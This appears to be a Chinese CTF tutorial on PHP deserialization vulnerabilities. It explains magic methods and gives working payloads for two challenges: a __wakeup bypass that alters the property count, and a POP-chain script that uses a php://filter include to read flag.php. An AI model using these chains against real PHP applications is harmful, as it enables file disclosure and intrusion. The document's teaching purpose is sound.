前言
这里我们以php反序列化为例,自然你需要去了解php这个语言,因为反序列化就是要读懂代码。而且在信息安全这个领域,这门语言也是必须去学习的,然而我们学校并没有开设这门课,所以需要你自己去学习,就目前而言,至少需要能看懂代码,能简单利用和写一些利用的代码。
简介
序列化是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
简而言之,序列化相当于加密,反序列化相当于解密。
再看一个生动的例子:
我们在网上买桌子,桌子这种很不规则的东西,这时候一般都会把它拆掉成板子,再运出去,这个过程就可看作序列化的过程(把数据转化为可以存储或者传输的形式)。
当我们收到货后,需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
php 将数据序列化和反序列化会用到两个函数
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
看实例:
<?php
$user=array('xiao','shi','zi');//定义一个数组变量,内容为'xiao','shi','zi'
echo(serialize($user));//输出序列化后的$user变量
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}//输出的结果
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性 i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
依次类推
再看一个类的变量
<?php
class test{
public $a;
public $b;
function __construct(){
$this->a = "xiaoshizi";
$this->b="laoshizi";
}
function happy(){
return $this->a;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
O代表Object是对象的意思,也就是类
序列化后的内容只有成员变量,没有成员函数
序列化后的字符串只要简单理解他的意思就可以了,不用深究
而这里我为什么只举了序列化的例子呢
反序列化漏洞原理
简单来说,就是将用户可控的数据进行了反序列化。
攻击者可以构造恶意代码进行传参
所以我们传入的其实是序列化的字符串
我们CTF就是去想办法,构造语句,利用序列化的字符串通过题目的反序列化读取flag
反序列化中常见的魔术方法
php类可能会包含魔术方法,魔术方法命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
做题
一、绕过
例:
绕过wake_up
xctf unserialize3
class xctf{//xctf类
public $flag = '111';
public function __wakeup(){//__wakeup魔术方法,在执行unserialize时触发,这里明显不能让他触发,想办法绕过
exit('bad requests');
}
?code=
执行unserialize()时,先会调用__wakeup()。
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()
可以看到xctf类只拥有一个public的flag变量,值为111。
public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值”。
本题目中,只存在一个变量,正常情况下序列化后,如下所示。
payload:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf;
echo(serialize($a));
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
将设置属性值为2,可导致反序列化异常,如下所示
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

二、POP链的构造利用
如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
例
BUU [MRCTF2020]Ezpop
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
/*定义一个append函数,可以看到这是个文件包含,那可以拿来包含flag.php,然后看到__invoke方法,__invoke方法调用了append函数,而__invoke方法怎么触发呢?(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)*/
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}//_toString方法,这里是一个输出点,在对象被当成字符串的时候调用
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}//preg_match对类中的source进行比较,将它作为字符串,调用了__toString方法
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}//__get()方法,我们知道(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法),而哪里使用了私有属性呢,很明显是Modifier这个类
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
__construct 当一个对象创建时被调用
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
我们的思路是:
首先使$ var=php://filter/read=convert.base64-encode/resource=flag.php
包含一个flag.php
然后使用Test类里的__get方法调用Modifier类中的__invoke方法,怎么调用呢?使$p这个变量为Modifier这个对象就可以调用__invoke方法,最后使用Show这个类里的__toString方法输出被包含的flag。
使用Test类里的__get方法调用Modifier类中的__invoke方法很简单
只需要new一个Test和new一个Modifier
然后使Test->p = new Modifier();
使Show->str=new Test();
然后Test这个类调用了一个不存在的变量(source)触发__get()方法
该怎么调用__toString方法呢
preg_match对类中的source进行比较,将它作为字符串,就调用了__toString方法
所以这里我们需要使Show->source = new Show();
即可调用__toString方法
构造pop链:
> Modifier->__invoke()->append()->flag
> Test->__get()->Modifier
> Show->__wakeup()->__toString()->Test
所以完整的pop链:
Show->__wakeup()(preg_match把对象当作字符串触发)->__toString()(使类中的source为Test对象,输出不存在的对象触发)->Test->__get()方法->Modifier->__invoke()(调用对象以函数的形式触发)->append()->include(文件包含,包含flag)
payload:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}
class Test{
public $p;
}
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
我这里只是简单的讲了讲和举例,关于PHP反序列化还有其他很多内容
可以参考这篇
好啦,就到这里啦,剩下的就靠大家去领悟和多多练习啦,有什么不懂随时来打扰